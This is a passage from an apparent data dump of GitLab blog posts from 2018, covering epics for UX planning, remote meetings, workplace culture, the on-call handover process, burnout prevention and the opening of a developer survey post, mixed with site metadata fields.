[epics](https://docs.gitlab.com/ee/user/group/epics/) to better plan and track UX efforts over time.\n\n\u003C!-- more -->\n\n## What are epics?\n\nThe term 'epic' is most commonly associated with Agile methodology. In Agile, an epic is a collection of user stories that describe a larger user flow, typically consisting of multiple features. So, what does ‘epic’ mean at GitLab? Here, epics contain a title and description, much like an issue, and allow you to attach multiple child issues to indicate hierarchy. In short, an epic is a feature that allows you to manage a portfolio of projects more efficiently and with less effort by tracking groups of issues that share a theme, across projects and milestones.\n\nWhat this meant for the UX team was that we finally had an efficient way to plan, track, and execute a group of thematically related issues. Take the merge request page for example. We have over 100 issues related to UX improvements for this feature alone! Each issue, taken on its own, represents just one piece of a much bigger picture. Epics would allow us to define the goal we have for the entire page and organize issues specific to that effort.\n\n## Getting started with epics\n\nTo get started with epics, we put together a UX strategy template. This template would be filled out and added to the epic description. The template defined the following:\n\n- **Challenges:** What user problem are we trying to solve? What business problem are we trying to solve? Are there obstacles standing in the way?\n\n- **Vision:** What do we want to achieve?\n\n- **Focus Areas:** What will we focus our attention on to have the most impact?\n\n- **Mission:** How will we achieve this goal?\n\n- **Activity/Deliverables:** What will we do and what will we deliver?\n\n- **Measure:** How will we measure success qualitatively and quantitatively?\n\nThe template also includes links to any relevant [personas](/blog/discovering-gitlabs-personas/) and [research](/blog/conducting-remote-ux-research/) we should consider when working toward the overall goal.\n\n## Creating our first epic\n\nWith the template ready to go, we chose the merge request page as our first area of focus. We started by reviewing the existing UX research for this page. It was essential to use data to understand the pain points and opportunities. We also examined the entire backlog of issues related to this page, matching existing issues to the research findings. With the significant pain points identified, we were able to fill out the template and create our very first epic.\n\n![Merge Request Epic](https://about.gitlab.com/images/blogimages/epics-ux.png){: .shadow}\n\nWith a holistic view of what we wanted to achieve, we could go back and find issues in the backlog that were critical to the vision. These issues were added to the epic and ordered according to priority. As we discover new information, we can reorder these issues to match the change in priority. As the scope expands, we can aggressively break things out into new epics for development at a later time or parallel to the existing epic. In the future, [sub-epics](https://gitlab.com/gitlab-org/gitlab-ee/issues/4282) will make this process even more fluid.\n\n![Merge Request Epic Issues](https://about.gitlab.com/images/blogimages/epic-ux-issues.png){: .shadow}\n\n*\u003Csmall>Issues are listed under the epic description. They can be easily reordered by dragging and dropping them into place.\u003C/small>*\n\nWe also set a time frame for this overall effort to be achieved. Having a set timeframe allows us to resource plan with the product team and make adjustments accordingly.\n\n## Looking ahead\n\nSo far, epics have proven to be well suited for planning long-term UX efforts. It has allowed us to maintain a holistic view of product area while still working iteratively. Epics also give other departments better visibility into what UX considers important. We are already looking beyond the merge request page and using epics to plan other efforts spanning multiple milestones. Epics are still relatively new, and there are many additions yet to come. In future releases, they will support [labeling](https://gitlab.com/gitlab-org/gitlab-ee/issues/4032), [discussions](https://gitlab.com/gitlab-org/gitlab-ee/issues/3889), [project-level epics](https://gitlab.com/gitlab-org/gitlab-ee/issues/4019), and integration with [issues](https://gitlab.com/gitlab-org/gitlab-ee/issues/4684) and [roadmaps](https://gitlab.com/gitlab-org/gitlab-ee/issues/3559).\n\n![Roadmap feature for epics](https://about.gitlab.com/images/blogimages/roadmaps.png){: .shadow}\n\nThe [Roadmap feature](https://gitlab.com/gitlab-org/gitlab-ee/issues/3559), pictured above, is set to be released in 10.5. Roadmaps offer a graphical, high level overview of an epic, or multiple epic's, goals and deliverables presented on a timeline. The blue roadmap bar and the epic list item are clickable and will navigate to that epic's detail page.\n\n## Resources\n- [Portfolio Management Roadmap](/direction/#portfolio-management-and-issue-management )\n\nPhoto by [Dmitri Popov](https://unsplash.com/) on [Unsplash](https://unsplash.com/search/photos/scale?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[1899,1444,2368,2249],{"slug":33856,"featured":6,"template":678},"use-cases-for-epics","content:en-us:blog:use-cases-for-epics.yml","Use Cases For Epics","en-us/blog/use-cases-for-epics.yml","en-us/blog/use-cases-for-epics",{"_path":33862,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33863,"content":33869,"config":33875,"_id":33877,"_type":16,"title":33878,"_source":17,"_file":33879,"_stem":33880,"_extension":20},"/en-us/blog/remote-work-done-right",{"title":33864,"description":33865,"ogTitle":33864,"ogDescription":33865,"noIndex":6,"ogImage":33866,"ogUrl":33867,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33867,"schema":33868},"Remote work, done right","Guest author Nolan Myers hated conference calls. Here's how we changed his mind.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679812/Blog/Hero%20Images/remote-work-done-right.jpg","https://about.gitlab.com/blog/remote-work-done-right","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Remote work, done right\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Nolan Myers\"}],\n        \"datePublished\": \"2018-03-16\",\n      }",{"title":33864,"description":33865,"authors":33870,"heroImage":33866,"date":33872,"body":33873,"category":6634,"tags":33874},[33871],"Nolan Myers","2018-03-16","\n\n_GitLab CEO Sid Sijbrandij occasionally sits down for a \"[pick your brain](/handbook/eba/ceo-scheduling/#pick-your-brain-meetings)\"\nmeeting with people seeking advice on open source, remote work, or discussion of other things related to GitLab._\n\nI’ve been on many terrible conference calls. The gentle voice telling me to enter my nine-digit pin, followed by the pound sign, feels like disappointment before the call even begins. That’s why I was so surprised to hear that GitLab – a company of over 200 people – runs without an office. How could anything get done when every meeting was remote?\n\n\u003C!-- more -->\n\nSeeing is believing, so I jumped at the opportunity to watch firsthand. What I learned convinced me that remote meetings can be just as good as in person, and maybe even better. Here’s what impressed me:\n\n### Video conference for all\n\nEveryone joined a Zoom call, each from their own computer. Most everyone had their cameras on, which gave enough visual cues to see their mood; sometimes even an understanding of who they are, like seeing a pool table or disassembled motorcycle behind them. The video format helped enforce some good meeting practices. Only one speaker at a time; a singular focus of attention, either a person or a shared screen. Meetings started on time, never having to wait for a previous group to clear a conference room. Having everyone join independently also worked much better than having a few people in a room and a few remotes, which inevitably creates a power-center in the room.\n\n>The video format helped enforce some good meeting practices: only one speaker at a time; a singular focus of attention\n\n### Create a live agenda in a shared document\n\nEach meeting started with an agenda in a shared Google Doc. They coupled this with a “write before you speak” etiquette. Anyone was welcome to speak, and added a brief summary of their question or comment into the shared doc before chiming in. This encouraged the speaker to be deliberate about their point, think about where in the flow it made most sense, and to know they’d get the floor when appropriate. It was kind of a marvel to see bullets and sub-bullets evolve during the meeting. A task owner typed “TODO: follow up” right as they said “I got it.” Even better, they were left with detailed meeting notes for posterity.\n\n>It was kind of a marvel to see bullets and sub-bullets evolve during the meeting. A task owner typed “TODO: follow up” right as they said “I got it.”\n\n### Embrace multitasking\n\nHow often have you heard that you should give a meeting your undivided attention? And how often have you actually believed it? GitLab embraces multitasking. Having everyone together ensures the right people are there for important conversations. But inevitably a packed meeting agenda will have sections more and less relevant to a variety of participants. Unlike in a room, a video call where someone tunes out for a bit doesn’t hamper the effectiveness of those focused on a conversation. The shared agenda let everyone know when they were needed, and each topic had the right people ready to contribute.\n\n### Caveats and considerations\n\nThis process felt like a miniature miracle to watch, but does need the right tools. GitLab relied on Zoom and it worked well. One external call used WebEx, and its longer latency led people accidentally to talk over one another. Google Docs was a must for the shared agenda. Everyone had set up a reasonable workspace with fast internet and a camera.\n\nI’d also add that I saw this work well for both update- and decision-oriented meetings. Would this approach support technical brainstorming meetings too? Sometimes drawing on a whiteboard works much better than typing, especially if you have a diagram. Zoom does have a whiteboard feature; perhaps with a Stylus you could do this as well as in person. I’m curious to see it in practice.\n\nWhen I first heard of GitLab’s remote-only hiring, I immediately saw the benefits of hiring in lower-rent locations and not paying for office space. I assumed that it cost some productivity through effective collaboration. Now I see video calls done right can beat all but the best traditional conference room meetings.\n\n## About the guest author\n\nNolan Myers advises startups on organizational development and customer success, leveraging his executive experience in building high-performing products and teams. He also has passions for classical music, fine cuisine, and urban design. Learn more on his [LinkedIn](https://linkedin.com/in/nolanmyers).\n\nPhoto by [Christin Hume](https://unsplash.com/photos/slbqShqAhEo) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[3798,676,1444,2368,815],{"slug":33876,"featured":6,"template":678},"remote-work-done-right","content:en-us:blog:remote-work-done-right.yml","Remote Work Done Right","en-us/blog/remote-work-done-right.yml","en-us/blog/remote-work-done-right",{"_path":33882,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33883,"content":33889,"config":33895,"_id":33897,"_type":16,"title":33898,"_source":17,"_file":33899,"_stem":33900,"_extension":20},"/en-us/blog/working-at-gitlab-affects-my-life",{"title":33884,"description":33885,"ogTitle":33884,"ogDescription":33885,"noIndex":6,"ogImage":33886,"ogUrl":33887,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33887,"schema":33888},"How working at GitLab has changed my view on work and life","A glimpse of the things I've learned at GitLab since I joined.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678678/Blog/Hero%20Images/gitlab-effects.jpg","https://about.gitlab.com/blog/working-at-gitlab-affects-my-life","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How working at GitLab has changed my view on work and life\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Hazel Yang\"}],\n        \"datePublished\": \"2018-03-15\",\n      }",{"title":33884,"description":33885,"authors":33890,"heroImage":33886,"date":33892,"body":33893,"category":6634,"tags":33894},[33891],"Hazel Yang","2018-03-15","\nI will have been at GitLab for two years in June of this year. Working at GitLab is a fresh experience for me. Joining a company outside of Asia and working 100 percent remotely was not something that I had previously done. It not only affects my work but my entire life. I am so grateful to have the opportunity to work with talented and friendly people around the world. I think it would be good to share my reflections about what I’ve learned during this 19-month journey.\n\n\u003C!-- more -->\n\nWe have an open source [handbook](/handbook/) that everyone can access, and it includes our six [values](https://handbook.gitlab.com/handbook/values/), (CREDIT) which support our everyday work. Keeping these values in mind benefits me a lot both in my work and in my life, and I would love to share them with you here:\n\n### Expressing oneself completely, clearly and without reservation\n\nCollaboration is essential in our everyday work. At GitLab, we prefer asynchronous communication instead of synchronous communication since we are spread around the world, from America, Europe, Africa, to Asia. We rely on text-based communication heavily. However, words are cold without the body language support, and they could easily lead to misunderstanding and conflict. So how we express our thoughts clearly and kindly in text becomes crucial.\n\nAfter joining GitLab, I always think twice before sending out messages or comments, even in my personal life. I started to choose my words more carefully both in English and Chinese. I also have tried to explain as much as possible. I found that if I did these two things, I can avoid the misunderstanding and increase the efficiency of communication. The most important thing is that people feel comfortable while discussing with you in the text. So don't be afraid to completely express your thoughts, in a careful and sensitive manner.\n\n### Don't be shy to show your gratitude\n\nWe have [\"Say thanks\"](/handbook/communication/#say-thanks) in our [values](https://handbook.gitlab.com/handbook/values/), and we often say \"Thank you\" to each other, especially in our \"Thanks\" channel on Slack.\n\n{: .text-center}\n![graphic-gratitude](https://about.gitlab.com/images/blogimages/working-at-gitlab/gratitude.png){:height=\"480px\" width=\"680px\"}\n\nDue to my personality and culture, at first I was shy to express my appreciation to my friends, family, and colleagues. At GitLab, we have a unique culture that encourages people to say “thanks,” so I try not to be too shy to show my gratitude. As I practiced this more and more, it became a habit and a natural thing to me. Now I say “thanks” very often, even for little things, and it feels positive and makes me happy every day.\n\nExpressing gratitude not only makes me feel satisfied, it also makes the person that I expressed my appreciation for have a beautiful mood.\n\n### Learning from failure\n\n\"Iteration\" is critical to our product improvement and development. We see what each of us produce initially as a draft. This helps us reduce the cycle time and have a prototyping mindset towards the features we are working on. We are not afraid of failure since we are always flexible in adjusting our products based on the feedback from both our external and internal communities.\n\n{: .text-center}\n![graphic-iterations](https://about.gitlab.com/images/blogimages/working-at-gitlab/iterations.png){:height=\"480px\" width=\"680px\"}\n\nI have applied this mindset to my personal life as well. In my culture, we value the smart person who never makes mistakes. So we try as hard as possible to avoid errors and losing face. However, the prototyping mindset changed my thoughts and reactions towards the things that previously may have made me feel embarrassed or uncomfortable. I became more open-minded in accepting positive and negative feedback from others. I no longer get upset or offended if someone corrects something that I did. I realized that my life is also a kind of product and it will be better and better in every iteration.\n\n### Trust your team and grow with them\n\nWhen you trust your team members, you will be brave enough to leave your comfort zone because you believe they will give you the support whenever you need it.\n\nA good example of trust concerns my English. English is my second language and therefore it is a weakness of mine. When you lack confidence in something, you often refuse to do the things outside of your comfort zone as you fear it would make you look stupid. This was exactly my situation when I joined GitLab. However, when I realized that the people around me weren’t as concerned about my shortcomings in English as much as they valued me for my contributions to the company. It gives me the courage to face my linguistic challenges.\n\nI am still not 100 percent as confident in English as I am in Mandarin, yet my confidence has increased from 30 percent to almost 70 percent if one puts a number to it. As you can see, I am writing this blog post in English to share my experience at GitLab now. This is only my second blog post.\n\nGitLab provides a very positive environment where I can improve and grow professionally as well as personally. I appreciate that my colleagues are always supportive and patient. I feel safe and comfortable while doing challenging things, not just concerning my English but in all of the tasks that I face at GitLab.\n\n### Befriend your manager and colleagues\n\nI felt that it was harder to befriend managers and colleagues at a company in Asia. I am not the sure what the reason is, but I think perhaps it is because of Confucianism which impacts our culture a lot.\n\nAt GitLab, I speak freely about numerous things to my manager, [Sarrah Vesselov](/company/team/#SVesselov), since I know she cares about our team and wants our team to grow. I also feel that GitLab is like a big family even though we are a large and distributed team. We try as hard as we can to get people together in both virtual and practical ways.\n\n{: .text-center}\n![image-summit](https://about.gitlab.com/images/blogimages/working-at-gitlab/summit.png){:height=\"480px\" width=\"680px\"}\n\nFor example, we have the [team call](/handbook/communication/#team-call), and people can share a bit about their lives. We also encourage our team members to join the [\"virtual coffee breaks\"](https://work.qz.com/1147877/remote-work-why-we-put-virtual-coffee-breaks-in-our-company-handbook/) to get to know each other. Moreover, we host a [summit](/events/gitlab-contribute/) to get together in person every nine months. This year we will meet in [Cape Town, South Africa](https://gitlab.com/summits/2018-Summit).\n\n### Embrace diversity\n\nGitLab promotes [diversity](/company/culture/inclusion/) and hires globally. We believe \"Culture add\" much more than \"Culture fit.\" We include different race, color, religion, gender, national origin, age, disability, or genetics. We also support inclusive benefits, for instance, [Transgender Medical Services](/handbook/total-rewards/benefits/general-and-entity-benefits/inc-benefits-us/) and [Pregnancy and Maternity Care](/handbook/total-rewards/benefits/general-and-entity-benefits/#parental-leave). We have a LGBTQ+ channel on Slack as well. Embracing differences powers our creativity.\n\n{: .text-center}\n![graphic-diversity](https://about.gitlab.com/images/blogimages/working-at-gitlab/diversity.png){:height=\"480px\" width=\"680px\"}\n\nWorking with people from diverse backgrounds is fantastic. I have learned from others’ communicative styles and different ways of thinking. I have broadened my views and now see the world from different perspectives. I am much more open-minded. The most important thing is that I completely understand that we are equal regardless of who we are.\n\n## Conclusion\n\nWorking at GitLab is a unique experience for me. I feel excited to start my work every day and enjoy the job I am doing.\n\nFor those that may be interested in working at Gitlab, we are currently hiring people from everywhere. If you want to join the journey, you can check out our [jobs](/jobs/) page and feel free to apply for the position if you feel that you are qualified. We are looking forward to hearing from you!\n",[676,2368,7715],{"slug":33896,"featured":6,"template":678},"working-at-gitlab-affects-my-life","content:en-us:blog:working-at-gitlab-affects-my-life.yml","Working At Gitlab Affects My Life","en-us/blog/working-at-gitlab-affects-my-life.yml","en-us/blog/working-at-gitlab-affects-my-life",{"_path":33902,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33903,"content":33909,"config":33914,"_id":33916,"_type":16,"title":33917,"_source":17,"_file":33918,"_stem":33919,"_extension":20},"/en-us/blog/the-on-call-handover-at-gitlab",{"title":33904,"description":33905,"ogTitle":33904,"ogDescription":33905,"noIndex":6,"ogImage":33906,"ogUrl":33907,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33907,"schema":33908},"How our production team runs the weekly on-call handover","Senior Production Engineer John Jarvis explains our handover process for on-call incidents in a fully remote and distributed team.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678661/Blog/Hero%20Images/production-on-call-handover.jpg","https://about.gitlab.com/blog/the-on-call-handover-at-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How our production team runs the weekly on-call handover\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"John Jarvis\"}],\n        \"datePublished\": \"2018-03-14\",\n      }",{"title":33904,"description":33905,"authors":33910,"heroImage":33906,"date":33911,"body":33912,"category":734,"tags":33913},[21791],"2018-03-14","\nHow do you manage on-call incidents among a team of eight distributed across three time zones?\nEvery week, production engineers are assigned to the role of handling on-call.\nWith this, comes the [expectation][on-call-expectations] of being available to\nrespond to any issue that results in a critical alert. Additionally,\non-call individuals act as an umbrella for\nother members of the team by triaging and handling all issues\nrelated to GitLab.com infrastructure.\n\n\u003C!-- more -->\n\nThe production team structures on-call shifts so that they follow the sun, to\navoid waking up members of the team in the middle of the night.\nThis works well for GitLab's [remote-only culture](/company/culture/all-remote/) where there are engineers in multiple\ntime zones. Occasionally, an on-call engineer will need to respond to an issue\noutside normal working hours; in these situations, GitLab encourages members to take\n[time off][on-call-time-off] after your shift to recover.\n\n## The on-call handover\n\nAs the team members working on-call shifts are distributed and their working hours don't always overlap, you can see how it would be easy for things to slip through the cracks between one shift and the next. To prevent this happening, once a week, the production team holds a 30-minute meeting called the [on-call handover][on-call-handover].\nOne of the key tenets of GitLab is that [everything starts with an issue][start-with-an-issue], and\nthe on-call handover is no exception!\nFrom a generated report, the team reviews incidents that occurred during the\nlast seven days and decide whether they need additional attention or escalation.\n\nAfter that, we check all GitLab issues with the on-call label to see if there are\nany that need to move from the current shift to the next one. At the end, there\nis a brief review of seven-day graphs. These help us keep an eye out for anything\nanomalous in our key metrics. If there is anything that seems\nout of the ordinary or warrants further investigation, the team will dig into them to see if we can\nidentify the root cause. The production team at GitLab encourages leads of other\ngroups to attend the review, as this helps bring to our attention any particular high-priority\nitems specific to individual services.\n\n## Automating the on-call handover\n\nDrinking our own wine by using GitLab for on-call report generation has proven to\nbe a good way to automate some of the more tedious work of the handover.\nTo aid with this, the production team developed a program\ncalled the [on-call robot assistant][on-call-robot-assistant]. It pulls data\nfrom relevant sources such as PagerDuty, Grafana and GitLab itself to generate a\nreport with a GitLab issue.\n\nThe program automates the following tasks:\n\n* Pulling the last shift's incidents from PagerDuty\n* Generating issue stats from the [production backlog][production-backlog]\n* Display seven-day graphs for the key performance metrics that we are monitoring\n  that are sourced from [GitLab Prometheus][gitlab-prometheus] monitoring\n\n\u003Ccenter>\u003Cimg src=\"/images/blogimages/oncall-robot-tty.gif\" alt=\"oncall-tty\" class= \"shadow\" style=\"width: 600px;\"/>\u003C/center>\n\n*\u003Csmall>Generating an on-call report in a GitLab issue\u003C/small>*\n\nThese data sources are set in a [simple configuration file][ocr-config], making it\neasy to iterate as we add new metrics to monitor.\nAt GitLab, most of what we do is out in the open so our on-call handover reports are\navailable for anyone to check out. If you want to see previous reports from\nthe on-call handovers [check them out in our issue tracker][on-call-reports].\n\nFor example, here is one recent report that shows a report for a previous week:\n\n\u003Ccenter>\u003Cimg src=\"/images/blogimages/oncall-robot-report1.png\" alt=\"oncall-report1\" class= \"shadow\" style=\"width: 600px;\"/>\u003C/center>\n\nAs well as some graphs for key metrics the production team is monitoring:\n\n\u003Ccenter>\u003Cimg src=\"/images/blogimages/oncall-robot-report2.png\" alt=\"oncall-report2\" class= \"shadow\" style=\"width: 600px;\"/>\u003C/center>\n\nWhen the team is finished reviewing the report, the current on-call engineer closes it\nand the shift officially ends.\n\n[Photo](https://unsplash.com/photos/ocs8x33bpMA?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) by Denny Müller on [Unsplash](https://unsplash.com/search/photos/telephone?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n\n\u003C!-- identifiers -->\n\n[on-call-expectations]: /handbook/on-call/#expectations-for-on-call\n[on-call-time-off]: /handbook/paid-time-off/#a-gitlabbers-guide-to-time-off\n[start-with-an-issue]: /handbook/communication/#everything-starts-with-an-issue\n[on-call-robot-assistant]: https://gitlab.com/gl-infra/oncall-robot-assistant\n[production-backlog]: https://gitlab.com/gitlab-com/infrastructure/issues\n[gitLab-prometheus]: https://docs.gitlab.com/ee/administration/monitoring/prometheus/\n[ocr-config]: https://gitlab.com/gl-infra/oncall-robot-assistant/blob/master/oncall-settings-example.yaml\n[on-call-reports]: https://gitlab.com/gitlab-com/infrastructure/issues?scope=all&utf8=%E2%9C%93&state=closed&label_name[]=oncall%20report\n[on-call-report-example]: https://gitlab.com/gitlab-com/infrastructure/issues/3583\n[on-call-handover]: /handbook/engineering/infrastructure/team/reliability/on-call-handover/\n",[676,6962],{"slug":33915,"featured":6,"template":678},"the-on-call-handover-at-gitlab","content:en-us:blog:the-on-call-handover-at-gitlab.yml","The On Call Handover At Gitlab","en-us/blog/the-on-call-handover-at-gitlab.yml","en-us/blog/the-on-call-handover-at-gitlab",{"_path":33921,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33922,"content":33928,"config":33933,"_id":33935,"_type":16,"title":33936,"_source":17,"_file":33937,"_stem":33938,"_extension":20},"/en-us/blog/preventing-burnout",{"title":33923,"description":33924,"ogTitle":33923,"ogDescription":33924,"noIndex":6,"ogImage":33925,"ogUrl":33926,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33926,"schema":33927},"GitLab team members share how to recognize burnout (and how to prevent it)","Burning out is a common feeling at startups – here's what we're doing to address it at GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680178/Blog/Hero%20Images/gitlabbers-share-how-to-recognize-burnout.jpg","https://about.gitlab.com/blog/preventing-burnout","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab team members share how to recognize burnout (and how to prevent it)\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Clement Ho\"}],\n        \"datePublished\": \"2018-03-08\",\n      }",{"title":33923,"description":33924,"authors":33929,"heroImage":33925,"date":33930,"body":33931,"category":6634,"tags":33932},[22111],"2018-03-08","\n\nThe feeling of [burning out][mayo-clinic] is common for people working at startups. Oftentimes, if you are feeling burned out, you aren't the only one feeling that way. I chatted to some GitLab team members about how they knew they were burned out, and how they get back on track.\n\n\u003C!-- more -->\n\nIt's easy to burn out when you work remotely. It's easy to work straight through lunch, and feel like you must put in extra hours to help finish a big project. With monthly releases, many features feel extra important and necessary to put in extra time. This isn't ideal because pacing yourself actually works out cheaper in the long run, as burning out takes extra time for recovery.\n\nDuring the last [summit](/events/gitlab-contribute/), [Marin][marin] led a session about preventing burnout, thanks Marin! A lot of GitLab team members attended that session and many had similar feelings of either being burned out or feeling like they are on their way towards it. Some even mentioned that they were starting to experience those physical signs of feeling burned out (e.g. frequent headaches). After the summit, we as a team added more resources to the handbook and created some tools on how we as a team can recognize and prevent burnout.\n\n## How to recognize if you're burned out, according to GitLab team members\n\n### You're constantly tired\n\n>For me, the greatest signal of burnout is struggling to get out of bed in the morning. I tend to stick to pretty standard working hours so when I work late in the evening, multiple nights in a row, I start to struggle to get up in the morning or even lose track of what day it is. I recognize this as burnout because usually it isn't hard for me to get up and get my day started. In fact, I'm usually up long before I start work so I can make breakfast, walk my dog, do some creative writing. But when I'm burned out, I will wait until 8 or 8:30 to get up and go straight to the computer like a zombie. - Erica Lindberg, former manager, Global Content\n\n>I didn't realize I was burned out until I finally took a vacation. I experienced many symptoms but was not aware of it and since I was experiencing them for so long, I thought it was normal. I was extremely tired all the time and whenever I decided to take a break during the day, I would often fall asleep with my laptop on my lap. - Anonymous GitLab team member\n\n### You no longer enjoy things\n\n> I started losing my general feelings of enjoyment in life. Even the fun activities I had planned, weren't activities I looked forward to. - Anonymous GitLab team member\n\n### Your job performance suffers\n\n>I would put in extra hours to make up for my productivity but it still didn't seem to measure up with my past performance. - [Jacob Schatz, Frontend Lead](/company/team/#jakecodes)\n\n### Your relationships are strained\n\n>I would also have a hard time remembering information, so much so that my friends began noticing the difference in me. I found myself being agitated and angry towards the people around me but couldn't figure out the reason. - Anonymous GitLab team member\n\n## How to prevent burnout, according to GitLab team members\n\n### Set clear boundaries between work and home\n\n>I'm trying to limit how many days I allow myself to work over eight hours by either scheduling other activities in the evening with friends or my partner (it works better when you've committed to someone so they can help hold you accountable. These things can be anything from rock climbing to dinner or watching a movie) or simply blocking out my calendar and setting reminders for when it's time to shut off. And when it is time to shut off I'm come up with a \"ritual\" of shutting down my computer, turning off my keyboard, monitor, and light in my office – this makes it harder to come back to \"just finish up one last thing\" - [Erica Lindberg, Content Marketing Manager](/company/team/#EricaLindberg_)\n\n>In order for me to prevent myself from burning out, I follow several rules. I make sure I only work seven hours a day and spend two additional hours learning. I dedicate at least seven hours of sleep every day, and I make sure I go to the gym and eat healthy regularly as part of my daily routine. - Anonymous GitLab team-member\n\n### Take vacation\n\n>After my vacation, where I did absolutely nothing except enjoying nature, I came home feeling much more energized. I am now a happier person. I am less sleepy and agitated and have found myself much more productive than ever before. That week of vacation gave me years of my life back that I would have never gotten if I didn't truly disconnect from work. - [Jacob Schatz, Frontend Lead](/company/team/#jakecodes)\n\n### Know when to take a break\n\n>Last week, I was feeling really tired and emotional (upset and stressed) about certain things. When I noticed that, I cancelled my last meeting of the day last minute, even though it was with [Sid](/company/team/#sytses). I wouldn’t have been productive and able to deal with the stress. So I took off the rest of the day. I was 10x better equipped to handle things the next day. - Job van der Voort, former VP of Product\n\n### Switch off when you're away from work\n\n>I try to stop thinking about work over the weekends or in the evenings. I practice meditation, mindfulness, and deep breathing. - [Suri Patel, Content Marketing Associate](/company/team/#suripatel)\n\n### Don't suffer in silence\n\n>I experienced burnout at my previous company. If it were to happen again, I would speak to my manager and openly discuss my situation, telling him or her that the pace is not sustainable and that something needs to change. It might be a scary topic to discuss, but burnout doesn't just affect my professional life – it has an impact on my personal life, most importantly on my health, so having these transparent conversations is a necessity. I would speak to my manager as soon as I started feeling overwhelmed over a prolonged period of time. There will always be phases when we have to work more than usual, but if long hours become a norm, then it's something that needs to be addressed right away. - Anonymous GitLab team member\n\n### Other good habits to prevent burnout:\n\n- Don't go straight to work after you wake up. Try not to start working within 30 minutes of waking up\n- Remove Slack from your smartphone or at the very least, turn off notifications for it\n- Keep each other accountable. When you notice someone in a different time zone should be asleep, tell them\n- Use your Slack status to share a message with the team that you are unavailable\n- Schedule [random coffee breaks][random-coffee-breaks]\n\n## Changes we added to the handbook\n- [Encourage team members to communicate with their manager when they recognize burnout][handbook-burnout]\n- [Encourage team members to notice signs of burnout in their peers and direct reports][handbook-burnout]\n- [Added tips to avoid burnout][handbook-burnout]\n\nWhat are some strategies you have to prevent yourself from burning out? Please comment below. We'd love to continue being proactive against burning out.\n\n[Photo](https://unsplash.com/photos/MAGAXAYq_NE) by [Victoria Heath](https://unsplash.com/@vheath) on Unsplash\n{: .note}\n\n[mayo-clinic]: http://www.mayoclinic.org/healthy-lifestyle/adult-health/in-depth/burnout/art-20046642\n[random-coffee-breaks]: /handbook/communication/#random-room\n[handbook-burnout]: /handbook/paid-time-off/#recognizing-burnout\n[marin]: https://gitlab.com/marin\n[unsplash-photo]: https://unsplash.com/photos/_k31aFqnmTM\n[unsplash-credit]: https://unsplash.com/photos/_k31aFqnmTM?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText\n[unsplash]: https://unsplash.com/@rikkichan89?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText\n",[3798,7715,676],{"slug":33934,"featured":6,"template":678},"preventing-burnout","content:en-us:blog:preventing-burnout.yml","Preventing Burnout","en-us/blog/preventing-burnout.yml","en-us/blog/preventing-burnout",{"_path":33940,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33941,"content":33946,"config":33952,"_id":33954,"_type":16,"title":33955,"_source":17,"_file":33956,"_stem":33957,"_extension":20},"/en-us/blog/2018-global-developer-report",{"title":33942,"description":33943,"ogTitle":33942,"ogDescription":33943,"noIndex":6,"ogImage":10802,"ogUrl":33944,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33944,"schema":33945},"Global Developer Report - 2018 for Open Source & DevOps","We surveyed over 5,000 software professionals to examine current attitudes and perception of the state of culture, workflow, and tooling within IT organizations.","https://about.gitlab.com/blog/2018-global-developer-report","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Global Developer Report confirms 2018 is the year for open source and DevOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Erica Lindberg\"}],\n        \"datePublished\": \"2018-03-07\",\n      }",{"title":33947,"description":33943,"authors":33948,"heroImage":10802,"date":33949,"body":33950,"category":8943,"tags":33951},"Global Developer Report confirms 2018 is the year for open source and DevOps",[28961],"2018-03-07","\n_Our [2022 Global DevSecOps Survey](https://about.gitlab.com/developer-survey/previous/2022/) is out now! Learn the latest in DevOps insights from over 5,000 DevOps professionals._\n\nFrom the junior developer with just a handful of years’ experience to the software professional who’s been in the game for decades, we set out to see how the people behind the software are dealing with a rapidly changing technology landscape. This year’s survey reveals that unclear direction is a developer’s greatest challenge, IT managers are investing the most in continuous integration and delivery, and nearly all agree that the importance of open source cannot be overstated.\n\n\u003C!--more -->\n\nThe focus of [GitLab’s 2018 Global Developer survey](/developer-survey/previous/2018/) was to understand developers’ attitudes toward their workplace, uncover disparities between developers and their management, and benchmark the state of culture, workflow, and tooling within IT organizations. We asked a broad set of questions covering everything from developers’ opinions on their teams’ ability to collaborate and succeed at work to their preferences on workflow methodology and tooling.\n\n\u003Cdiv style=\"text-align: center\"> 🎙\u003Cstrong>\u003Ca href=\"https://webinars.devops.com/top-5-takeaways-from-the-2018-global-developer-survey\"> Join us March 29 for a live discussion with Alan Shimel of DevOps.com on the top 5 takeaways from the report\u003C/a> \u003C/strong> 🎙 ️\u003C/div>\n\n## Developer satisfaction\n\nWe found that the majority of developers are satisfied with the conditions of their workplace, and managers should focus on improving the planning and testing phases of the development 